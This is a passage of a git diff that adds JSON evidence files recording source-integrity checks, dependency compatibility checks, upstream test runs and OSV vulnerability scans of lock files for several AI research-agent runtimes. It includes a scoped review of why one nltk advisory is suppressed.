sources=[[\"deerflow\",\"/source.tar.gz\",\"/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e\"],[\"inspect_evals\",\"/grader-source.tar.gz\",\"/inspect_evals-41c72eaa2b807ce43f35fac6f3f399318adc7e9d\"]]; results=[]\nfor name,archive,root in sources:\n count=0; mismatches=[]\n with tarfile.open(archive,'r:gz') as tar:\n for member in tar.getmembers():\n if not member.isfile(): continue\n relative=pathlib.PurePosixPath(member.name).relative_to(pathlib.PurePosixPath(member.name).parts[0]); p=pathlib.Path(root)/str(relative); count+=1\n if not p.is_file() or p.read_bytes()!=tar.extractfile(member).read(): mismatches.append(str(relative))\n results.append({'source':name,'original_regular_files_compared':count,'mismatches':mismatches})\nprint(json.dumps({'all_original_files_unchanged':all(not r['mismatches'] for r in results),'sources':results},sort_keys=True)); sys.exit(0 if all(not r['mismatches'] for r in results) else 1)" + ], + "working_directory": "", + "started_at": "2026-09-30T06:13:12.290Z", + "finished_at": "2026-09-30T06:13:14.132Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 223, + "raw_sha256": "fc3993ef21ca44d70d7d8887fd8d9f28ecd8ac713cbf6f4559ada2da17a27adf", + "sanitized_text": "{\"all_original_files_unchanged\": true, \"sources\": [{\"mismatches\": [], \"original_regular_files_compared\": 2964, \"source\": \"deerflow\"}, {\"mismatches\": [], \"original_regular_files_compared\": 3973, \"source\": \"inspect_evals\"}]}\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + } + ], + "corrections": [ + { + "date": "2026-09-30", + "claim": "The initially authored archive-extract record shortened argv to source.tar.gz.", + "correction": "Execution used the absolute archive path, now published as /source.tar.gz.", + "verification": "Corrected against the exact spawned argument vector in the original execution call. Retained the original private recorder JSON before correcting it; its SHA256 is preserved here. No extraction/test result was replayed.", + "original_private_record_sha256": "cb6e41828992f6a7c53520eaf39d6ea8412d6eaf5c2171247e16b204d84b45be" + } + ], + "local_recipe_source": { + "base_revision": "be91e1f860a6cd4c07c9c56555dabc4309ad47cc", + "worktree_state": "DeerFlow recipe files are locally provided inputs in this branch; no acceptance as committed upstream source.", + "installer": "blueprints/runtime-workers/deerflow/recipe.py:install_grader", + "sha256": "f21cd2182226f6b77b81fbd399805e643cd65ead2f82a898116448dfe132b0bd", + "hash_scope": "Post-run local installer input identity; upstream source hashes and native output remain separate." + } +} diff --git a/evidence/artifacts/runtime-roster-20260930/gpt-researcher-native.json b/evidence/artifacts/runtime-roster-20260930/gpt-researcher-native.json new file mode 100644 index 000000000..83f4ca4d0 --- /dev/null +++ b/evidence/artifacts/runtime-roster-20260930/gpt-researcher-native.json @@ -0,0 +1,135 @@ +{ + "schema_version": 1, + "kind": "bounded_native_qualification", + "component_id": "gpt-researcher", + "date": "2026-09-30", + "lane": "foundation", + "status": "partial_native_qualification", + "source": { + "repository": "https://github.com/assafelovic/gpt-researcher", + "release": "v3.7.0", + "commit": "0957c301ed06c2a5857b834358c7227c739041d4", + "package_version": "0.16.0", + "archive": { + "url": "https://codeload.github.com/assafelovic/gpt-researcher/tar.gz/0957c301ed06c2a5857b834358c7227c739041d4", + "sha256": "0363b2e46629ee3add884212d09e6a56d9f7602c2adadff506910191b4c84c5c", + "hash_origin": "SHA256 of actual codeload bytes, independently repeated by coordinator worker; no upstream signature" + } + }, + "runs": [ + { + "id": "gptr-venv-pip-check", + "argv": [ + "rtk", + "uv", + "pip", + "check", + "--python", + "/venv/bin/python" + ], + "cwd": "", + "started_at_utc": "2026-09-30T06:41:51.473815+00:00", + "finished_at_utc": "2026-09-30T06:41:51.602377+00:00", + "exit_code": 0, + "stdout": "", + "stderr": "Using Python 3.12.3 environment at: /venv\nChecked 198 packages in 74ms\nAll installed packages are compatible\n", + "original_output_sha256": { + "stdout": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr": "6d968e74072cf66e556d331c5cf377aaaffdbda65de7e7d48fd1baeb763f7858" + } + }, + { + "id": "gptr-proxy-venv-pip-check", + "argv": [ + "rtk", + "uv", + "pip", + "check", + "--python", + "/proxy-venv/bin/python" + ], + "cwd": "", + "started_at_utc": "2026-09-30T06:41:51.602845+00:00", + "finished_at_utc": "2026-09-30T06:41:51.706864+00:00", + "exit_code": 0, + "stdout": "", + "stderr": "Using Python 3.12.3 environment at: /proxy-venv\nChecked 68 packages in 57ms\nAll installed packages are compatible\n", + "original_output_sha256": { + "stdout": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr": "5b45a93e5f6600b7edc6f3a86ef3e441adcf36412c7bc69e435a62171069ba1c" + } + }, + { + "id": "gptr-grader-venv-pip-check", + "argv": [ + "rtk", + "uv", + "pip", + "check", + "--python", + "/grader-venv/bin/python" + ], + "cwd": "", + "started_at_utc": "2026-09-30T06:41:51.707281+00:00", + "finished_at_utc": "2026-09-30T06:41:51.795439+00:00", + "exit_code": 0, + "stdout": "", + "stderr": "Using Python 3.12.3 environment at: /grader-venv\nChecked 8 packages in 47ms\nAll installed packages are compatible\n", + "original_output_sha256": { + "stdout": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr": "ee0fa41f23f56cf7bceb5eb47e6ba37d6e4926bb00ac4858db3462e1ee3dfa18" + } + }, + { + "id": "selected-unchanged-upstream-tests", + "argv": [ + "rtk", + "env", + "GPTR_PREFIX=", + "GPTR_STATE_ROOT=/gpt-researcher", + "bash", + "blueprints/runtime-workers/gpt-researcher/run-upstream-tests.sh" + ], + "cwd": "", + "exit_code": 0, + "started_at_utc": null, + "finished_at_utc": "2026-09-30T05:53:15.530003+00:00", + "timestamp_scope": "private retained file mtime; start not retained", + "stdout": "============================= test session starts ==============================\nplatform linux -- Python 3.12.3, pytest-9.1.1, pluggy-1.6.0\nrootdir: /source/gpt-researcher-0957c301ed06c2a5857b834358c7227c739041d4\nconfigfile: pyproject.toml\nplugins: asyncio-1.4.0, langsmith-0.14.1, anyio-4.15.1\nasyncio: mode=Mode.AUTO, debug=False, asyncio_default_fixture_loop_scope=None, asyncio_default_test_loop_scope=function\ncollected 24 items\n\ntests/test_lexical_context_filter.py ........ [ 33%]\ntests/test_llm_kwargs_override.py .... [ 50%]\ntests/test_llm_max_tokens.py .. [ 58%]\ntests/test_mcp_client_config.py ... [ 70%]\ntests/test_mcp_client_non_dict_config.py . [ 75%]\ntests/test_mcp_client_uppercase_url_schemes.py ...... [100%]\n\n=============================== warnings summary ===============================\n../../venv/lib/python3.12/site-packages/_pytest/config/__init__.py:1464\n /venv/lib/python3.12/site-packages/_pytest/config/__init__.py:1464: PytestConfigWarning: Unknown config option: asyncio_fixture_loop_scope\n \n self._warn_or_fail_if_strict(f\"Unknown config option: {key}\\n\")\n\ngpt_researcher/scraper/pymupdf/pymupdf.py:5\n /source/gpt-researcher-0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/scraper/pymupdf/pymupdf.py:5: DeprecationWarning: `langchain-community` is being sunset and is no longer actively maintained. See https://github.com/langchain-ai/langchain-community/issues/674 for details and migration guidance toward standalone integration packages.\n from langchain_community.document_loaders import PyMuPDFLoader\n\n-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html\n======================== 24 passed, 2 warnings in 3.40s ========================\nupstream pytest exit code: 0\n", + "stderr": "Merged into the retained upstream output by the recipe.", + "original_output_sha256": "d9c95ab0854b3ddcd9d3c5a0a7fcac5a3cc87f0e43be4d202f275b12477fec08", + "upstream_test_sha256": [ + {"path": "tests/test_lexical_context_filter.py", "sha256": "a26afb777ceebdf35b3099441ca79d5b8db415ed1deebdc62fa58f3008d24a4c"}, + {"path": "tests/test_llm_kwargs_override.py", "sha256": "743c317edb050d63346952208bb32535131b5f291e120e591b0580e0e29d5bca"}, + {"path": "tests/test_llm_max_tokens.py", "sha256": "5eaf8fd813a45dda3b561a184e1e8dfa9103b583aaba703b1d00b819411e0d4c"}, + {"path": "tests/test_mcp_client_config.py", "sha256": "bbb40b43bb5d1bc8955b71c76518baf067d745e2caad9daff7b83c59323d91f2"}, + {"path": "tests/test_mcp_client_non_dict_config.py", "sha256": "2d405db13f2de0012105ae7a9f562163a573e0308e61912182f980e9469ecd72"}, + {"path": "tests/test_mcp_client_uppercase_url_schemes.py", "sha256": "6f82725bb27a5859b585edfbd17e8507dc36a534388b9fb80d549040cdf16db8"} + ] + } + ], + "install_observation": { + "exit_code": 0, + "runtime_distributions": 198, + "proxy_distributions": 68, + "grader_distributions": 8, + "evidence_scope": "Native installer returned output in the session; no complete persistent install stdout was retained. Installation is independently checked by the native compatibility commands above." + }, + "qualification_boundaries": [ + "Only the six named unchanged upstream non-network test files were selected.", + "No GPT Researcher model call or citation-quality benchmark was run.", + "Local dispatch, MCP policy and keyword-filter fixtures are separate integration evidence.", + "Python target is CPython 3.12/Linux x86_64; this does not qualify another host.", + "The codeload source package version is 0.16.0; release v3.7.0 is not the PyPI package version.", + "Unadvertised historical engines-on aliases need fresh discovery and acceptance before a trial." + ], + "usage": { + "status": "unknown_for_enclosing_task", + "provider_usage": null, + "token_savings": null + }, + "sanitization": [ + "Owned prefix/checkouts and home path replaced with placeholders.", + "No native account, credential or conversation store was read." + ] +} diff --git a/evidence/artifacts/runtime-roster-20260930/lock-scan-and-nltk-scope.json b/evidence/artifacts/runtime-roster-20260930/lock-scan-and-nltk-scope.json new file mode 100644 index 000000000..43d50b80c --- /dev/null +++ b/evidence/artifacts/runtime-roster-20260930/lock-scan-and-nltk-scope.json @@ -0,0 +1,585 @@ +{ + "schema_version": 1, + "kind": "native_lock_scan_and_scoped_source_review", + "checked_at_utc": "2026-09-30T07:11:35.002485+00:00", + "evidence_class": "source_review", + "status": "bounded_review_not_runtime_acceptance", + "sources": [ + { + "url": "https://api.osv.dev/v1/vulns/GHSA-8mgp-746c-j5xp", + "http_status": 200, + "original_response_sha256": "c489d359f203d5ecd90148e59601c63f4b057fe838604b68e607a3e3f1026a10", + "bytes": 4877 + }, + { + "url": "https://pypi.org/pypi/nltk/json", + "http_status": 200, + "original_response_sha256": "bcb887db94e1c4fe5eb120e7125ac9da760b3c07f4d8c8065079373fec07db3c", + "bytes": 103290 + }, + { + "url": "https://github.com/google/osv-scanner/releases/tag/v2.6.0", + "file": ".github/workflows/security-scan.yml", + "executable_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108" + } + ], + "initial_native_scan": { + "command": { + "argv": [ + "rtk", + "proxy", + "", + "scan", + "source", + "--config", + ".github/osv-scanner.toml", + "--no-resolve", + "--format", + "json", + "--all-vulns", + "--output-file", + "/runtime-locks-osv.json", + "--lockfile=requirements.txt:blueprints/runtime-workers/crawl4ai/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/crawl4ai/test-requirements.lock", + "--lockfile=:blueprints/runtime-workers/crawl4ai/grader/package-lock.json", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/build-requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/deerflow/e2e/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/build-requirements.lock" + ], + "start": "2026-09-30T07:02:35.092846+00:00", + "end": "2026-09-30T07:02:37.136856+00:00", + "exit_code": 1 + }, + "original_report_sha256": "def3457d79f7bc0efbeea558b733e10df01bf57d046b98858a8f7968250a5950", + "stdout_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256": "7dcf6509bea8c2cf5e334087bcf7710ea1adcf47206fb2daeebbc82d8b897802", + "locks": { + "blueprints/runtime-workers/crawl4ai/requirements.lock": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "blueprints/runtime-workers/crawl4ai/test-requirements.lock": "18802e44cb0fe166cbb229a3efdce7f83dfd8349d0bdc81c35c2e0ad98929b5a", + "blueprints/runtime-workers/crawl4ai/grader/package-lock.json": "b3577cbcf13a57c7a1e2e961f2b3db4d56e1990d765822c810ac8dbafbb12e1f", + "blueprints/runtime-workers/gpt-researcher/requirements.lock": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "blueprints/runtime-workers/gpt-researcher/build-requirements.lock": "3e4bc4a4fdb884e03759d5eb0afdba46de547dce525b25bee17c63de3f1de57f", + "blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock": "3a1ac1b2d53f345c151cfbf05ec8ef202578663469cf96bf0e84179774834754", + "blueprints/runtime-workers/deerflow/e2e/requirements.lock": "388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341", + "blueprints/runtime-workers/openhands/requirements.lock": "7dba097d34f83cab8585e49050505d5f836b8f8505ceedb7daff160af5e3ad16", + "blueprints/runtime-workers/openhands/build-requirements.lock": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2" + }, + "unignored_package_findings": [ + { + "file": "blueprints/runtime-workers/openhands/requirements.lock", + "package": { + "name": "click", + "version": "8.1.8", + "ecosystem": "PyPI" + }, + "advisory_groups": [ + { + "ids": [ + "PYSEC-2026-2132" + ], + "aliases": [ + "CVE-2026-7246", + "GHSA-47fr-3ffg-hgmw", + "PYSEC-2026-2132" + ], + "max_severity": "7.2" + } + ] + }, + { + "file": "blueprints/runtime-workers/openhands/requirements.lock", + "package": { + "name": "cryptography", + "version": "48.0.1", + "ecosystem": "PyPI" + }, + "advisory_groups": [ + { + "ids": [ + "PYSEC-2026-3552", + "GHSA-g6cj-pr64-35w5" + ], + "aliases": [ + "CVE-2026-69247", + "GHSA-g6cj-pr64-35w5", + "PYSEC-2026-3552" + ], + "max_severity": "8.2" + }, + { + "ids": [ + "PYSEC-2026-3553", + "GHSA-jwv3-5hgf-82ww" + ], + "aliases": [ + "CVE-2026-69249", + "GHSA-jwv3-5hgf-82ww", + "PYSEC-2026-3553" + ], + "max_severity": "8.7" + }, + { + "ids": [ + "PYSEC-2026-3554", + "GHSA-m2h6-j472-rp4c" + ], + "aliases": [ + "CVE-2026-69248", + "GHSA-m2h6-j472-rp4c", + "PYSEC-2026-3554" + ], + "max_severity": "6.9" + } + ] + }, + { + "file": "blueprints/runtime-workers/openhands/requirements.lock", + "package": { + "name": "pyjwt", + "version": "2.13.0", + "ecosystem": "PyPI" + }, + "advisory_groups": [ + { + "ids": [ + "GHSA-2gx3-rcp4-g85q" + ], + "aliases": [ + "CVE-2026-101917", + "GHSA-2gx3-rcp4-g85q" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-8wjv-2p76-3863" + ], + "aliases": [ + "CVE-2026-102265", + "GHSA-8wjv-2p76-3863" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-9j54-fg26-wv3r" + ], + "aliases": [ + "CVE-2026-102266", + "GHSA-9j54-fg26-wv3r" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-9v7f-9g4p-ffgj" + ], + "aliases": [ + "CVE-2026-102267", + "GHSA-9v7f-9g4p-ffgj" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-ffc3-869f-jxw9" + ], + "aliases": [ + "CVE-2026-102268", + "GHSA-ffc3-869f-jxw9" + ], + "max_severity": "9.1" + }, + { + "ids": [ + "GHSA-hxm8-2xgr-2p9m" + ], + "aliases": [ + "CVE-2026-102269", + "GHSA-hxm8-2xgr-2p9m" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "GHSA-p4g4-x82p-q773" + ], + "aliases": [ + "CVE-2026-102271", + "GHSA-p4g4-x82p-q773" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-r6x4-923q-g947" + ], + "aliases": [ + "CVE-2026-102272", + "GHSA-r6x4-923q-g947" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-w2cx-738m-mc7w" + ], + "aliases": [ + "CVE-2026-102273", + "GHSA-w2cx-738m-mc7w" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-w6j9-cwv2-h6wq" + ], + "aliases": [ + "CVE-2026-102274", + "GHSA-w6j9-cwv2-h6wq" + ], + "max_severity": "5.9" + } + ] + }, + { + "file": "blueprints/runtime-workers/openhands/requirements.lock", + "package": { + "name": "pypdf", + "version": "6.14.2", + "ecosystem": "PyPI" + }, + "advisory_groups": [ + { + "ids": [ + "PYSEC-2026-3655", + "GHSA-fp3f-mc75-235c" + ], + "aliases": [ + "CVE-2026-71870", + "GHSA-fp3f-mc75-235c", + "PYSEC-2026-3655" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3656", + "GHSA-fwg2-594c-jp42" + ], + "aliases": [ + "CVE-2026-71852", + "GHSA-fwg2-594c-jp42", + "PYSEC-2026-3656" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3910", + "GHSA-23w6-3w8w-8484" + ], + "aliases": [ + "CVE-2026-84310", + "GHSA-23w6-3w8w-8484", + "PYSEC-2026-3910" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3911", + "GHSA-763m-79hh-57f2" + ], + "aliases": [ + "CVE-2026-84311", + "GHSA-763m-79hh-57f2", + "PYSEC-2026-3911" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3912", + "GHSA-fc8x-2rww-xw9m" + ], + "aliases": [ + "CVE-2026-82398", + "GHSA-fc8x-2rww-xw9m", + "PYSEC-2026-3912" + ], + "max_severity": "6.9" + }, + { + "ids": [ + "PYSEC-2026-3913", + "GHSA-jp53-mhqp-8xcg" + ], + "aliases": [ + "CVE-2026-84309", + "GHSA-jp53-mhqp-8xcg", + "PYSEC-2026-3913" + ], + "max_severity": "6.9" + } + ] + }, + { + "file": "blueprints/runtime-workers/openhands/requirements.lock", + "package": { + "name": "soupsieve", + "version": "2.8.4", + "ecosystem": "PyPI" + }, + "advisory_groups": [ + { + "ids": [ + "GHSA-gjv8-xp57-g29c" + ], + "aliases": [ + "CVE-2026-86000", + "GHSA-gjv8-xp57-g29c" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-j934-xhv5-fg8f" + ], + "aliases": [ + "CVE-2026-85999", + "GHSA-j934-xhv5-fg8f" + ], + "max_severity": "5.3" + } + ] + } + ], + "meaning": "Exit 1 means findings. Existing global ignores can filter new packages; independent hash-scoped guards initially rejected the two unregistered nltk locks and the changed OpenHands digest." + }, + "current_advisory": { + "id": "GHSA-8mgp-746c-j5xp", + "modified": "2026-09-02T14:45:06.878867805Z", + "locked_version": "3.10.3", + "pypi_latest_version": "3.10.3", + "fixed_events": [], + "precondition_source": "The linked original OSV details name untrusted model import/export paths with pathsec enforcement; this review grants no arbitrary-code or model-file operation." + }, + "fresh_static_checks": { + "gpt-researcher": { + "lock_path": "blueprints/runtime-workers/gpt-researcher/requirements.lock", + "lock_sha256": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "installed_python_files_outside_nltk_scanned": 14437, + "direct_nltk_import_sites": [ + { + "file": "langchain_text_splitters/html.py", + "sha256": "028b5a3c57b3df29e062c841db846584bf66388810248cfc09566b954c7e85df", + "lines": [ + 30, + 724 + ] + }, + { + "file": "langchain_text_splitters/nltk.py", + "sha256": "8ac9704a59aeea760a02fa497db73f230a79ff07ea4789e644872561d458aadd", + "lines": [ + 12 + ] + }, + { + "file": "langchain_community/example_selectors/ngram_overlap.py", + "sha256": "78a7c748efa16977fd646ceb59c3c64ff3cc837c70b00d49436a886aafa17321", + "lines": [ + 26, + 75 + ] + } + ], + "affected_symbol_mentions_outside_nltk": [], + "current_recipe_direct_import_or_symbol_hits": [], + "prior_source_review": "blueprints/runtime-workers/gpt-researcher/evidence/nltk-reachability.json", + "prior_review_sha256": "6915dd28fc7cbaf0918ce64f939f1870d77d77e006d01b763d0a73ea850b8b7f", + "meaning": "Fresh bounded static source observation of the installed pinned closure and current recipe. Names alone do not prove call reachability; prior source review checks the entered nltk modules and their call sites." + }, + "crawl4ai": { + "lock_path": "blueprints/runtime-workers/crawl4ai/requirements.lock", + "lock_sha256": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "installed_python_files_outside_nltk_scanned": 8148, + "direct_nltk_import_sites": [ + { + "file": "crawl4ai/chunking_strategy.py", + "sha256": "86a9037c1fbbd396751eb13d6aaaab1b0f6d2f83710d821e0f5ca09ac461dda1", + "lines": [ + 83, + 108, + 120 + ] + }, + { + "file": "crawl4ai/model_loader.py", + "sha256": "814d5bc8c2df6691ee5c4417ffd2602c7774903d7ff200465a4851515864b8b4", + "lines": [ + 178 + ] + }, + { + "file": "crawl4ai/legacy/llmtxt.py", + "sha256": "b1ec1499c4193d1883002626bb12aa6d650fe5af915e94383f5d99c47959a570", + "lines": [ + 11, + 12, + 13 + ] + } + ], + "affected_symbol_mentions_outside_nltk": [], + "current_recipe_direct_import_or_symbol_hits": [], + "prior_source_review": "blueprints/runtime-workers/crawl4ai/evidence/nltk-reachability.json", + "prior_review_sha256": "3ae7461b5852631d7fd9a8aad8ade3eddb71ed84e1f7c08599977202adae81ae", + "meaning": "Fresh bounded static source observation of the installed pinned closure and current recipe. Names alone do not prove call reachability; prior source review checks the entered nltk modules and their call sites." + } + }, + "scope_decision": { + "advisory": "GHSA-8mgp-746c-j5xp", + "allowed_locks": { + "blueprints/runtime-workers/gpt-researcher/requirements.lock": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "blueprints/runtime-workers/crawl4ai/requirements.lock": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701" + }, + "reason": "The pinned current recipes and documented direct callers use tokenization/corpora/data management, not the advisory model import/export APIs. Existing prior reviews describe exact entered modules and limitations; the fresh check above independently binds current installed source and recipe. The existing ignore stays hash-scoped, with its existing expiry and no new ignore IDs.", + "approval_scope": "Source-based non-reachability for these exact locks/recipes only; no proof against dynamic imports, new MCP tools or worker-authored arbitrary code." + }, + "corrections": [ + { + "mistake": "A historical GPT source-review sentence referred to an existing scoped guard allowance before it was registered.", + "verification": "Native ignore-policy unittest exit 1 on 2026-09-30; original guard lacks both new locks.", + "change": "This dated review registers the exact two current lock hashes only after source observation; prior assertion is treated as proposed at its capture date." + } + ], + "limits": [ + "No vulnerable model-artifact API was invoked and no exploit test was performed.", + "The original detailed reviews used hash-verified wheels; this new check inspects installed Python source and does not claim a complete new binary/wheel audit.", + "The global existing ignore alone is not acceptance; its independent guard must pass.", + "OpenHands findings require a supported lock repair; no new suppression is granted for them.", + "Image scans and live runtime acceptance remain separate.", + "Provider and whole-task usage are unknown; no model call or saving comparison was made." + ], + "final_native_scan": { + "evidence_class": "native_proven", + "meaning": "Native pinned scanner execution over these exact locks only; existing hash-scoped suppressions remain in force. Not image or runtime acceptance.", + "command": { + "argv": [ + "rtk", + "proxy", + "", + "scan", + "source", + "--config", + ".github/osv-scanner.toml", + "--no-resolve", + "--format", + "json", + "--all-vulns", + "--output-file", + "/runtime-locks-osv-final-main-reconcile.json", + "--lockfile=requirements.txt:blueprints/runtime-workers/crawl4ai/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/crawl4ai/test-requirements.lock", + "--lockfile=:blueprints/runtime-workers/crawl4ai/grader/package-lock.json", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/build-requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/deerflow/e2e/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/requirements.lock", + "--lockfile=requirements.txt:blueprints/runtime-workers/openhands/build-requirements.lock" + ], + "start": "2026-09-30T09:12:42.761476+00:00", + "end": "2026-09-30T09:12:44.474805+00:00", + "exit_code": 0 + }, + "config_sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "scanner_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "locks": { + "blueprints/runtime-workers/crawl4ai/requirements.lock": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "blueprints/runtime-workers/crawl4ai/test-requirements.lock": "18802e44cb0fe166cbb229a3efdce7f83dfd8349d0bdc81c35c2e0ad98929b5a", + "blueprints/runtime-workers/crawl4ai/grader/package-lock.json": "b3577cbcf13a57c7a1e2e961f2b3db4d56e1990d765822c810ac8dbafbb12e1f", + "blueprints/runtime-workers/gpt-researcher/requirements.lock": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "blueprints/runtime-workers/gpt-researcher/build-requirements.lock": "3e4bc4a4fdb884e03759d5eb0afdba46de547dce525b25bee17c63de3f1de57f", + "blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock": "3a1ac1b2d53f345c151cfbf05ec8ef202578663469cf96bf0e84179774834754", + "blueprints/runtime-workers/deerflow/e2e/requirements.lock": "388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341", + "blueprints/runtime-workers/openhands/requirements.lock": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "blueprints/runtime-workers/openhands/build-requirements.lock": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2" + }, + "report_sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "stdout_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256": "22d8872646afb5a5c4f31b0e483d5efb8425d180eb71e30894f01c0126c9f06c", + "returned_stdout": "", + "returned_stderr": "Starting filesystem walk for root: /\nScanned /blueprints/runtime-workers/crawl4ai/requirements.lock file and found 95 packages\nScanned /blueprints/runtime-workers/crawl4ai/test-requirements.lock file and found 4 packages\nScanned /blueprints/runtime-workers/crawl4ai/grader/package-lock.json file and found 901 packages\nScanned /blueprints/runtime-workers/gpt-researcher/requirements.lock file and found 197 packages\nScanned /blueprints/runtime-workers/gpt-researcher/build-requirements.lock file and found 4 packages\nScanned /blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock file and found 68 packages\nScanned /blueprints/runtime-workers/deerflow/e2e/requirements.lock file and found 96 packages\nScanned /blueprints/runtime-workers/openhands/requirements.lock file and found 174 packages\nScanned /blueprints/runtime-workers/openhands/build-requirements.lock file and found 3 packages\nEnd status: 0 dirs visited, 9 inodes visited, 9 Extract calls, 200.861657ms elapsed, 200.861717ms wall time\nGHSA-8mgp-746c-j5xp and 2 aliases have been filtered out because: nltk through 3.10.3: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and nltk.classify.maxent.save_maxent_params open caller-chosen model paths with the built-in open() instead of the pathsec helpers (the advisory's comparison case is the guarded PerceptronTagger.load_from_json, which in 3.10.3 still authorizes a caller-chosen private model directory), so untrusted input that chooses a model import or export path can read or write outside the allowed roots; pathsec enforcement is on by default (ENFORCE = True in nltk/pathsec.py of 3.10.3). No patched release as of 2026-09-27; the fixes are merged on develop (nltk #3757, #3759, #3813). Each lock allowed to pin nltk is named, with its reviewed sha256 and non-reachability evidence, in IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py. Lumibot lock: nltk 3.10.3 is a transitive pin (google-adk, llama-index-core) of the evaluation-only Lumibot 4.6.1 environment, run offline under bwrap, and no trial code calls these APIs (evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json). Expiry plan: relock every allowed lock onto the first nltk release that ships those fixes, then delete this ignore; delete the Lumibot lock unless a verdict has adopted Lumibot.\nGHSA-8mgp-746c-j5xp and 2 aliases have been filtered out because: nltk through 3.10.3: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and nltk.classify.maxent.save_maxent_params open caller-chosen model paths with the built-in open() instead of the pathsec helpers (the advisory's comparison case is the guarded PerceptronTagger.load_from_json, which in 3.10.3 still authorizes a caller-chosen private model directory), so untrusted input that chooses a model import or export path can read or write outside the allowed roots; pathsec enforcement is on by default (ENFORCE = True in nltk/pathsec.py of 3.10.3). No patched release as of 2026-09-27; the fixes are merged on develop (nltk #3757, #3759, #3813). Each lock allowed to pin nltk is named, with its reviewed sha256 and non-reachability evidence, in IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py. Lumibot lock: nltk 3.10.3 is a transitive pin (google-adk, llama-index-core) of the evaluation-only Lumibot 4.6.1 environment, run offline under bwrap, and no trial code calls these APIs (evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json). Expiry plan: relock every allowed lock onto the first nltk release that ships those fixes, then delete this ignore; delete the Lumibot lock unless a verdict has adopted Lumibot.\nGHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact 